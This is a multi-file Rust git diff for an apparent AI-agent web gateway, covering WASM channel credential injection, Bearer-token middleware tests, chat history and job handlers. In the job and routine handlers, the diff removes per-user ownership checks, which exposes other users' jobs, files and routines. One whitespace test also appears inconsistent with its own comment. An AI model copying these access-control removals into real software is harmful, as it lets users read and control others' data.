let runtime = Arc::clone(&self.runtime);
let prepared = Arc::clone(&self.prepared);
let capabilities = self.capabilities.clone();
let poll_capabilities = self.capabilities.clone();
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
let message_tx = self.message_tx.clone();
let rate_limiter = self.rate_limiter.clone();
let credentials = self.credentials.clone();
let pairing_store = self.pairing_store.clone();
let callback_timeout = self.runtime.config().callback_timeout;
let workspace_store = self.workspace_store.clone();
let last_broadcast_metadata = self.last_broadcast_metadata.clone();
let settings_store = self.settings_store.clone();
let poll_secrets_store = self.secrets_store.clone();
tokio::spawn(async move {
let mut interval_timer = tokio::time::interval(interval);
@@ -1669,6 +1901,13 @@ impl WasmChannel {
"Polling tick - calling on_poll"
);
// Pre-resolve host credentials for this tick
let host_credentials = resolve_channel_host_credentials(
&poll_capabilities,
poll_secrets_store.as_deref(),
)
.await;
// Execute on_poll with fresh WASM instance
let result = Self::execute_poll(
&channel_name,
@@ -1676,6 +1915,7 @@ impl WasmChannel {
&prepared,
&capabilities,
&credentials,
host_credentials,
pairing_store.clone(),
callback_timeout,
&workspace_store,
@@ -1690,6 +1930,8 @@ impl WasmChannel {
emitted_messages,
&message_tx,
&rate_limiter,
&last_broadcast_metadata,
settings_store.as_ref(),
).await {
tracing::warn!(
channel = %channel_name,
@@ -1731,6 +1973,7 @@ impl WasmChannel {
prepared: &Arc<PreparedChannelModule>,
capabilities: &ChannelCapabilities,
credentials: &RwLock<HashMap<String, String>>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>,
timeout: Duration,
workspace_store: &Arc<ChannelWorkspaceStore>,
@@ -1759,6 +2002,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials_snapshot,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1813,6 +2057,8 @@ impl WasmChannel {
messages: Vec<EmittedMessage>,
message_tx: &RwLock<Option<mpsc::Sender<IncomingMessage>>>,
rate_limiter: &RwLock<ChannelEmitRateLimiter>,
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
) -> Result<(), WasmChannelError> {
tracing::info!(
channel = %channel_name,
@@ -1858,6 +2104,14 @@ impl WasmChannel {
// Parse metadata JSON
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
msg = msg.with_metadata(metadata);
// Store for broadcast routing (chat_id etc.)
do_update_broadcast_metadata(
channel_name,
&emitted.metadata_json,
last_broadcast_metadata,
settings_store,
)
.await;
}
// Send to stream
@@ -1893,6 +2147,9 @@ impl Channel for WasmChannel {
}
async fn start(&self) -> Result<MessageStream, ChannelError> {
// Restore broadcast metadata from settings (survives restarts)
self.load_broadcast_metadata().await;
// Create message channel
let (tx, rx) = mpsc::channel(256);
*self.message_tx.write().await = Some(tx);
@@ -1982,6 +2239,8 @@ impl Channel for WasmChannel {
// The original metadata contains channel-specific routing info (e.g., Telegram chat_id)
// that the WASM channel needs to send the reply to the correct destination.
let metadata_json = serde_json::to_string(&msg.metadata).unwrap_or_default();
// Store for broadcast routing (chat_id etc.)
self.update_broadcast_metadata(&metadata_json).await;
self.call_on_respond(
msg.id,
&response.content,
@@ -1997,6 +2256,34 @@ impl Channel for WasmChannel {
Ok(())
}
async fn broadcast(
&self,
_user_id: &str,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let metadata_json = self
.last_broadcast_metadata
.read()
.await
.clone()
.ok_or_else(|| ChannelError::SendFailed {
name: self.name.clone(),
reason: "No messages received yet — no chat_id available for broadcast".into(),
})?;
self.call_on_respond(
uuid::Uuid::new_v4(),
&response.content,
response.thread_id.as_deref(),
&metadata_json,
)
.await
.map_err(|e| ChannelError::SendFailed {
name: self.name.clone(),
reason: e.to_string(),
})
}
async fn send_status(
&self,
status: StatusUpdate,
@@ -2101,6 +2388,14 @@ impl Channel for SharedWasmChannel {
self.inner.respond(msg, response).await
}
async fn broadcast(
&self,
user_id: &str,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
self.inner.broadcast(user_id, response).await
}
async fn send_status(
&self,
status: StatusUpdate,
@@ -2352,6 +2647,97 @@ impl HttpResponse {
}
}
/// Extract the hostname from a URL string.
///
/// Returns `None` for malformed URLs or non-HTTP(S) schemes.
fn extract_host_from_url(url: &str) -> Option<String> {
let parsed = url::Url::parse(url).ok()?;
if !matches!(parsed.scheme(), "http" | "https") {
return None;
}
parsed.host_str().map(|h| {
h.strip_prefix('[')
.and_then(|v| v.strip_suffix(']'))
.unwrap_or(h)
.to_lowercase()
})
}
/// Pre-resolve host credentials for all HTTP capability mappings.
///
/// Called once per callback (in async context, before spawn_blocking) so the
/// synchronous WASM host function can inject credentials without needing async
/// access to the secrets store.
///
/// Silently skips credentials that can't be resolved (e.g., missing secrets).
/// The channel will get a 401/403 from the API, which is the expected UX when
/// auth hasn't been configured yet.
async fn resolve_channel_host_credentials(
capabilities: &ChannelCapabilities,
store: Option<&(dyn SecretsStore + Send + Sync)>,
) -> Vec<ResolvedHostCredential> {
let store = match store {
Some(s) => s,
None => return Vec::new(),
};
let http_cap = match &capabilities.tool_capabilities.http {
Some(cap) => cap,
None => return Vec::new(),
};
if http_cap.credentials.is_empty() {
return Vec::new();
}
let mut resolved = Vec::new();
for mapping in http_cap.credentials.values() {
// Skip UrlPath credentials; they're handled by placeholder substitution
if matches!(
mapping.location,
crate::secrets::CredentialLocation::UrlPath { .. }
) {
continue;
}
let secret = match store.get_decrypted("default", &mapping.secret_name).await {
Ok(s) => s,
Err(e) => {
tracing::debug!(
secret_name = %mapping.secret_name,
error = %e,
"Could not resolve credential for WASM channel (auth may not be configured)"
);
continue;
}
};
let mut injected = InjectedCredentials::empty();
inject_credential(&mut injected, &mapping.location, &secret);
if injected.is_empty() {
continue;
}
resolved.push(ResolvedHostCredential {
host_patterns: mapping.host_patterns.clone(),
headers: injected.headers,
query_params: injected.query_params,
secret_value: secret.expose().to_string(),
});
}
if !resolved.is_empty() {
tracing::debug!(
count = resolved.len(),
"Pre-resolved host credentials for WASM channel execution"
);
}
resolved
}
#[cfg(test)]
mod tests {
use std::sync::Arc;
@@ -2384,6 +2770,7 @@ mod tests {
capabilities,
"{}".to_string(),
Arc::new(PairingStore::new()),
None,
)
}
@@ -2461,6 +2848,7 @@ mod tests {
&prepared,
&capabilities,
&credentials,
Vec::new(), // no host credentials in test
Arc::new(PairingStore::new()),
timeout,
&workspace_store,
@@ -2489,11 +2877,14 @@ mod tests {
EmittedMessage::new("user2", "Another message"),
];
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
let result = WasmChannel::dispatch_emitted_messages(
"test-channel",
messages,
&message_tx,
&rate_limiter,
&last_broadcast_metadata,
None,
)
.await;
@@ -2527,11 +2918,14 @@ mod tests {
let messages = vec![EmittedMessage::new("user1", "Hello!")];
// Should return Ok even without a sender (logs warning but doesn't fail)
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
let result = WasmChannel::dispatch_emitted_messages(
"test-channel",
messages,
&message_tx,
&rate_limiter,
&last_broadcast_metadata,
None,
)
.await;
@@ -2562,6 +2956,7 @@ mod tests {
capabilities,
"{}".to_string(),
Arc::new(PairingStore::new()),
None,
);
// Start the channel
@@ -3309,6 +3704,7 @@ mod tests {
"test",
ChannelCapabilities::default(),
creds,
Vec::new(),
Arc::new(PairingStore::new()),
);
@@ -3340,6 +3736,7 @@ mod tests {
"test",
ChannelCapabilities::default(),
std::collections::HashMap::new(),
Vec::new(),
Arc::new(PairingStore::new()),
);
@@ -3347,6 +3744,50 @@ mod tests {
assert_eq!(store.redact_credentials(input), input);
}
#[test]
fn test_redact_credentials_url_encoded() {
use super::{ChannelStoreData, ResolvedHostCredential};
// Credential with characters that get URL-encoded
let mut creds = std::collections::HashMap::new();
creds.insert(
"API_KEY".to_string(),
"key with spaces&special=chars".to_string(),
);
let host_creds = vec![ResolvedHostCredential {
host_patterns: vec!["api.example.com".to_string()],
headers: std::collections::HashMap::new(),
query_params: std::collections::HashMap::new(),
secret_value: "host secret+value".to_string(),
}];
let store = ChannelStoreData::new(
1024 * 1024,
"test",
ChannelCapabilities::default(),
creds,
host_creds,
Arc::new(PairingStore::new()),
);
// Error containing URL-encoded form of the credential
let error = "request failed: https://api.example.com?key=key%20with%20spaces%26special%3Dchars&host=host%20secret%2Bvalue";
let redacted = store.redact_credentials(error);
assert!(
!redacted.contains("key%20with%20spaces"),
"URL-encoded credential should be redacted, got: {}",
redacted
);
assert!(
!redacted.contains("host%20secret%2Bvalue"),
"URL-encoded host credential should be redacted, got: {}",
redacted
);
}
#[test]
fn test_redact_credentials_skips_empty_values() {
use super::ChannelStoreData;
@@ -3359,6 +3800,7 @@ mod tests {
"test",
ChannelCapabilities::default(),
creds,
Vec::new(),
Arc::new(PairingStore::new()),
);
+131 -3
View File
@@ -24,11 +24,13 @@ pub async fn auth_middleware(
request: Request,
next: Next,
) -> Response {
// Try Authorization header first (constant-time comparison)
// Try Authorization header first (constant-time comparison).
// RFC 6750 Section 2.1: auth-scheme comparison is case-insensitive.
if let Some(auth_header) = headers.get("authorization")
&& let Ok(value) = auth_header.to_str()
&& let Some(token) = value.strip_prefix("Bearer ")
&& bool::from(token.as_bytes().ct_eq(auth.token.as_bytes()))
&& value.len() > 7
&& value[..7].eq_ignore_ascii_case("Bearer ")
&& bool::from(value.as_bytes()[7..].ct_eq(auth.token.as_bytes()))
{
return next.run(request).await;
}
@@ -59,4 +61,130 @@ mod tests {
let cloned = state.clone();
assert_eq!(cloned.token, "test-token");
}
// === QA Plan - Web gateway auth tests ===
use axum::Router;
use axum::body::Body;
use axum::middleware;
use axum::routing::get;
use tower::ServiceExt;
async fn dummy_handler() -> &'static str {
"ok"
}
fn test_app(token: &str) -> Router {
let state = AuthState {
token: token.to_string(),
};
Router::new()
.route("/test", get(dummy_handler))
.layer(middleware::from_fn_with_state(state, auth_middleware))
}
#[tokio::test]
async fn test_valid_bearer_token_passes() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "Bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_invalid_bearer_token_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "Bearer wrong-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_missing_auth_header_falls_through_to_query() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test?token=secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_query_param_invalid_token_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test?token=wrong-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_no_auth_at_all_rejected() {
let app = test_app("secret-token");
let req = Request::builder().uri("/test").body(Body::empty()).unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_bearer_prefix_case_insensitive() {
// RFC 6750 Section 2.1: auth-scheme comparison must be case-insensitive.
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_bearer_prefix_mixed_case() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "BEARER secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_empty_bearer_token_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "Bearer ")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_token_with_whitespace_rejected() {
// Extra space after "Bearer " means the token value starts with a space,
// which should not match the expected token.
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "Bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
}
+126 -44
View File
@@ -14,6 +14,7 @@ use uuid::Uuid;
use crate::channels::IncomingMessage;
use crate::channels::web::server::GatewayState;
use crate::channels::web::types::*;
use crate::channels::web::util::{build_turns_from_db_messages, truncate_preview};
pub async fn chat_send_handler(
State(state): State<Arc<GatewayState>>,
@@ -317,12 +318,13 @@ pub async fn chat_history_handler(
turns,
has_more,
oldest_timestamp,
pending_approval: None,
}));
}
// Try in-memory first (freshest data for active threads)
if let Some(thread) = sess.threads.get(&thread_id)
&& !thread.turns.is_empty()
&& (!thread.turns.is_empty() || thread.pending_approval.is_some())
{
let turns: Vec<TurnInfo> = thread
.turns
@@ -341,16 +343,35 @@ pub async fn chat_history_handler(
name: tc.name.clone(),
has_result: tc.result.is_some(),
has_error: tc.error.is_some(),
result_preview: tc.result.as_ref().map(|r| {
let s = match r {
serde_json::Value::String(s) => s.clone(),
other => other.to_string(),
};
truncate_preview(&s, 500)
}),
error: tc.error.clone(),
})
.collect(),
})
.collect();
let pending_approval = thread
.pending_approval
.as_ref()
.map(|pa| PendingApprovalInfo {
request_id: pa.request_id.to_string(),
tool_name: pa.tool_name.clone(),
description: pa.description.clone(),
parameters: serde_json::to_string_pretty(&pa.parameters).unwrap_or_default(),
});
return Ok(Json(HistoryResponse {
thread_id,
turns,
has_more: false,
oldest_timestamp: None,
pending_approval,
}));
}
@@ -369,6 +390,7 @@ pub async fn chat_history_handler(
turns,
has_more,
oldest_timestamp,
pending_approval: None,
}));
}
}
@@ -379,51 +401,10 @@ pub async fn chat_history_handler(
turns: Vec::new(),
has_more: false,
oldest_timestamp: None,
pending_approval: None,
}))
}
/// Build TurnInfo pairs from flat DB messages (alternating user/assistant).
pub fn build_turns_from_db_messages(
messages: &[crate::history::ConversationMessage],
) -> Vec<TurnInfo> {
let mut turns = Vec::new();
let mut turn_number = 0;
let mut iter = messages.iter().peekable();
while let Some(msg) = iter.next() {
if msg.role == "user" {
let mut turn = TurnInfo {
turn_number,
user_input: msg.content.clone(),
response: None,
state: "Completed".to_string(),
started_at: msg.created_at.to_rfc3339(),
completed_at: None,
tool_calls: Vec::new(),
};
// Check if next message is an assistant response
if let Some(next) = iter.peek()
&& next.role == "assistant"
{
let assistant_msg = iter.next().expect("peeked");
turn.response = Some(assistant_msg.content.clone());
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
}
// Incomplete turn (user message without response)
if turn.response.is_none() {
turn.state = "Failed".to_string();
}
turns.push(turn);
turn_number += 1;
}
}
turns
}
pub async fn chat_threads_handler(
State(state): State<Arc<GatewayState>>,
) -> Result<Json<ThreadListResponse>, (StatusCode, String)> {
@@ -454,7 +435,7 @@ pub async fn chat_threads_handler(
let info = ThreadInfo {
id: s.id,
state: "Idle".to_string(),
turn_count: (s.message_count / 2).max(0) as usize,
turn_count: s.message_count.max(0) as usize,
created_at: s.started_at.to_rfc3339(),
updated_at: s.last_activity.to_rfc3339(),
title: s.title.clone(),
@@ -630,4 +611,105 @@ mod tests {
assert!(turns[1].response.is_none());
assert_eq!(turns[1].state, "Failed");
}
#[test]
fn test_build_turns_with_tool_calls() {
let now = chrono::Utc::now();
let tool_calls_json = serde_json::json!([
{"name": "shell", "result_preview": "file1.txt\nfile2.txt"},
{"name": "http", "error": "timeout"}
]);
let messages = vec![
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "user".to_string(),
content: "List files".to_string(),
created_at: now,
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "tool_calls".to_string(),
content: tool_calls_json.to_string(),
created_at: now + chrono::TimeDelta::milliseconds(500),
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "assistant".to_string(),
content: "Here are the files".to_string(),
created_at: now + chrono::TimeDelta::seconds(1),
},
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert_eq!(turns[0].tool_calls.len(), 2);
assert_eq!(turns[0].tool_calls[0].name, "shell");
assert!(turns[0].tool_calls[0].has_result);
assert!(!turns[0].tool_calls[0].has_error);
assert_eq!(
turns[0].tool_calls[0].result_preview.as_deref(),
Some("file1.txt\nfile2.txt")
);
assert_eq!(turns[0].tool_calls[1].name, "http");
assert!(turns[0].tool_calls[1].has_error);
assert_eq!(turns[0].tool_calls[1].error.as_deref(), Some("timeout"));
assert_eq!(turns[0].response.as_deref(), Some("Here are the files"));
assert_eq!(turns[0].state, "Completed");
}
#[test]
fn test_build_turns_with_malformed_tool_calls() {
let now = chrono::Utc::now();
let messages = vec![
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "user".to_string(),
content: "Hello".to_string(),
created_at: now,
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "tool_calls".to_string(),
content: "not valid json".to_string(),
created_at: now + chrono::TimeDelta::milliseconds(500),
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "assistant".to_string(),
content: "Done".to_string(),
created_at: now + chrono::TimeDelta::seconds(1),
},
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].response.as_deref(), Some("Done"));
}
#[test]
fn test_build_turns_backward_compatible_no_tool_calls() {
// Old threads without tool_calls messages still work
let now = chrono::Utc::now();
let messages = vec![
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "user".to_string(),
content: "Hello".to_string(),
created_at: now,
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "assistant".to_string(),
content: "Hi!".to_string(),
created_at: now + chrono::TimeDelta::seconds(1),
},
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
assert_eq!(turns[0].state, "Completed");
}
}
+36 -8
View File
@@ -24,16 +24,44 @@ pub async fn extensions_list_handler(
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
let pairing_store = crate::pairing::PairingStore::new();
let extensions = installed
.into_iter()
.map(|ext| ExtensionInfo {
name: ext.name,
kind: ext.kind.to_string(),
description: ext.description,
url: ext.url,
authenticated: ext.authenticated,
active: ext.active,
tools: ext.tools,
.map(|ext| {
let activation_status = if ext.kind == crate::extensions::ExtensionKind::WasmChannel {
Some(if ext.activation_error.is_some() {
"failed".to_string()
} else if !ext.authenticated {
"installed".to_string()
} else if ext.active && ext.name == "telegram" {
let has_paired = pairing_store
.read_allow_from(&ext.name)
.map(|list| !list.is_empty())
.unwrap_or(false);
if has_paired {
"active".to_string()
} else {
"pairing".to_string()
}
} else {
"configured".to_string()
})
} else {
None
};
ExtensionInfo {
name: ext.name,
display_name: ext.display_name,
kind: ext.kind.to_string(),
description: ext.description,
url: ext.url,
authenticated: ext.authenticated,
active: ext.active,
tools: ext.tools,
needs_setup: ext.needs_setup,
activation_status,
activation_error: ext.activation_error,
}
})
.collect();
+141 -79
View File
@@ -1,5 +1,6 @@
//! Job and sandbox API handlers.
use std::collections::HashSet;
use std::sync::Arc;
use axum::{
@@ -21,32 +22,55 @@ pub async fn jobs_list_handler(
"Database not available".to_string(),
))?;
// Fetch sandbox jobs scoped to the authenticated user.
let sandbox_jobs = store
.list_sandbox_jobs_for_user(&state.user_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
let mut jobs: Vec<JobInfo> = Vec::new();
let mut seen_ids: HashSet<Uuid> = HashSet::new();
// Scope jobs to the authenticated user.
let mut jobs: Vec<JobInfo> = sandbox_jobs
.iter()
.filter(|j| j.user_id == state.user_id)
.map(|j| {
let ui_state = match j.status.as_str() {
"creating" => "pending",
"running" => "in_progress",
s => s,
};
JobInfo {
id: j.id,
title: j.task.clone(),
state: ui_state.to_string(),
user_id: j.user_id.clone(),
created_at: j.created_at.to_rfc3339(),
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
// Fetch sandbox jobs from database.
match store.list_sandbox_jobs().await {
Ok(sandbox_jobs) => {
for j in &sandbox_jobs {
let ui_state = match j.status.as_str() {
"creating" => "pending",
"running" => "in_progress",
s => s,
};
seen_ids.insert(j.id);
jobs.push(JobInfo {
id: j.id,
title: j.task.clone(),
state: ui_state.to_string(),
user_id: j.user_id.clone(),
created_at: j.created_at.to_rfc3339(),
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
});
}
})
.collect();
}
Err(e) => {
tracing::warn!("Failed to list sandbox jobs: {}", e);
}
}
// Fetch agent (non-sandbox) jobs from database, deduplicating by ID.
match store.list_agent_jobs().await {
Ok(agent_jobs) => {
for j in &agent_jobs {
if seen_ids.contains(&j.id) {
continue;
}
jobs.push(JobInfo {
id: j.id,
title: j.title.clone(),
state: j.status.clone(),
user_id: j.user_id.clone(),
created_at: j.created_at.to_rfc3339(),
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
});
}
}
Err(e) => {
tracing::warn!("Failed to list agent jobs: {}", e);
}
}
// Most recent first.
jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at));
@@ -62,18 +86,49 @@ pub async fn jobs_summary_handler(
"Database not available".to_string(),
))?;
let s = store
.sandbox_job_summary_for_user(&state.user_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
let mut total = 0;
let mut pending = 0;
let mut in_progress = 0;
let mut completed = 0;
let mut failed = 0;
let mut stuck = 0;
// Sandbox job counts.
match store.sandbox_job_summary().await {
Ok(s) => {
total += s.total;
pending += s.creating;
in_progress += s.running;
completed += s.completed;
failed += s.failed + s.interrupted;
}
Err(e) => {
tracing::warn!("Failed to fetch sandbox job summary: {}", e);
}
}
// Agent job counts.
match store.agent_job_summary().await {
Ok(s) => {
total += s.total;
pending += s.pending;
in_progress += s.in_progress;
completed += s.completed;
failed += s.failed;
stuck += s.stuck;
}
Err(e) => {
tracing::warn!("Failed to fetch agent job summary: {}", e);
}
}
Ok(Json(JobSummaryResponse {
total: s.total,
pending: s.creating,
in_progress: s.running,
completed: s.completed,
failed: s.failed + s.interrupted,
stuck: 0,
total,
pending,
in_progress,
completed,
failed,
stuck,
}))
}
@@ -81,16 +136,16 @@ pub async fn jobs_detail_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
) -> Result<Json<JobDetailResponse>, (StatusCode, String)> {
let store = state.store.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Database not available".to_string(),
))?;
let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Try sandbox job from DB first, scoped to the authenticated user.
if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
{
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
// Try sandbox job from DB first.
if let Ok(Some(job)) = store.get_sandbox_job(job_id).await {
let browse_id = std::path::Path::new(&job.project_dir)
.file_name()
.map(|n| n.to_string_lossy().to_string())
@@ -146,6 +201,30 @@ pub async fn jobs_detail_handler(
}));
}
// Fall back to agent job from DB.
if let Ok(Some(ctx)) = store.get_job(job_id).await {
let elapsed_secs = ctx.started_at.map(|start| {
let end = ctx.completed_at.unwrap_or_else(chrono::Utc::now);
(end - start).num_seconds().max(0) as u64
});
return Ok(Json(JobDetailResponse {
id: ctx.job_id,
title: ctx.title.clone(),
description: ctx.description.clone(),
state: ctx.state.to_string(),
user_id: ctx.user_id.clone(),
created_at: ctx.created_at.to_rfc3339(),
started_at: ctx.started_at.map(|dt| dt.to_rfc3339()),
completed_at: ctx.completed_at.map(|dt| dt.to_rfc3339()),
elapsed_secs,
project_dir: None,
browse_url: None,
job_mode: None,
transitions: Vec::new(),
}));
}
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
}
@@ -156,13 +235,10 @@ pub async fn jobs_cancel_handler(
let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Try sandbox job cancellation, scoped to the authenticated user.
// Try sandbox job cancellation.
if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
{
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
if job.status == "running" || job.status == "creating" {
// Stop the container if we have a job manager.
if let Some(ref jm) = state.job_manager
@@ -188,6 +264,26 @@ pub async fn jobs_cancel_handler(
})));
}
// Fall back to agent job cancellation via DB status update.
if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_job(job_id).await
{
if job.state.is_active() {
store
.update_job_status(
job_id,
crate::context::JobState::Cancelled,
Some("Cancelled by user"),
)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
}
return Ok(Json(serde_json::json!({
"status": "cancelled",
"job_id": job_id,
})));
}
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
}
@@ -213,11 +309,6 @@ pub async fn jobs_restart_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Scope to the authenticated user.
if old_job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
if old_job.status != "interrupted" && old_job.status != "failed" {
return Err((
StatusCode::CONFLICT,
@@ -310,16 +401,6 @@ pub async fn jobs_prompt_handler(
.parse()
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Verify user owns this job.
if let Some(ref store) = state.store
&& !store
.sandbox_job_belongs_to_user(job_id, &state.user_id)
.await
.unwrap_or(false)
{
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let content = body
.get("content")
.and_then(|v| v.as_str())
@@ -358,15 +439,6 @@ pub async fn jobs_events_handler(
.parse()
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Verify user owns this job.
if !store
.sandbox_job_belongs_to_user(job_id, &state.user_id)
.await
.unwrap_or(false)
{
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let events = store
.list_job_events(job_id, None)
.await
@@ -416,11 +488,6 @@ pub async fn job_files_list_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Verify user owns this job.
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let base = std::path::PathBuf::from(&job.project_dir);
let rel_path = query.path.as_deref().unwrap_or("");
let target = base.join(rel_path);
@@ -484,11 +551,6 @@ pub async fn job_files_read_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Verify user owns this job.
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let path = query.path.as_deref().ok_or((
StatusCode::BAD_REQUEST,
"path parameter required".to_string(),
+22 -17
View File
@@ -1,23 +1,28 @@
//! Handler modules for the web gateway API.
//!
//! Each module groups related endpoint handlers by domain.
//!
//! # Migration status
//!
//! `skills` is the canonical implementation used by `server.rs`.
//! The remaining modules are in-progress migrations from inline server.rs
//! handlers; their functions are not yet wired up, hence the `dead_code` allow.
pub mod chat;
pub mod extensions;
pub mod jobs;
pub mod memory;
pub mod routines;
pub mod settings;
pub mod skills;
pub mod static_files;
// Re-export all handler functions so `server.rs` can reference them
// as `handlers::chat_send_handler`, etc.
pub use chat::*;
pub use extensions::*;
pub use jobs::*;
pub use memory::*;
pub use routines::*;
pub use settings::*;
pub use skills::*;
pub use static_files::*;
// Modules not yet wired into server.rs router -- suppress dead_code until
// they replace their inline counterparts.
#[allow(dead_code)]
pub mod chat;
#[allow(dead_code)]
pub mod extensions;
#[allow(dead_code)]
pub mod jobs;
#[allow(dead_code)]
pub mod memory;
#[allow(dead_code)]
pub mod routines;
#[allow(dead_code)]
pub mod settings;
#[allow(dead_code)]
pub mod static_files;
+2 -2
View File
@@ -23,7 +23,7 @@ pub async fn routines_list_handler(
))?;
let routines = store
.list_routines(&state.user_id)
.list_all_routines()
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
@@ -41,7 +41,7 @@ pub async fn routines_summary_handler(
))?;
let routines = store
.list_routines(&state.user_id)
.list_all_routines()
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
+15 -4
View File
@@ -58,8 +58,14 @@ pub async fn skills_search_handler(
))?;
// Search ClawHub catalog
let catalog_results = catalog.search(&req.query).await;
let catalog_json: Vec<serde_json::Value> = catalog_results
let catalog_outcome = catalog.search(&req.query).await;
let catalog_error = catalog_outcome.error.clone();
// Enrich top results with detail data (stars, downloads, owner)
let mut entries = catalog_outcome.results;
catalog.enrich_search_results(&mut entries, 5).await;
let catalog_json: Vec<serde_json::Value> = entries
.into_iter()
.map(|e| {
serde_json::json!({
@@ -68,6 +74,10 @@ pub async fn skills_search_handler(
"description": e.description,
"version": e.version,
"score": e.score,
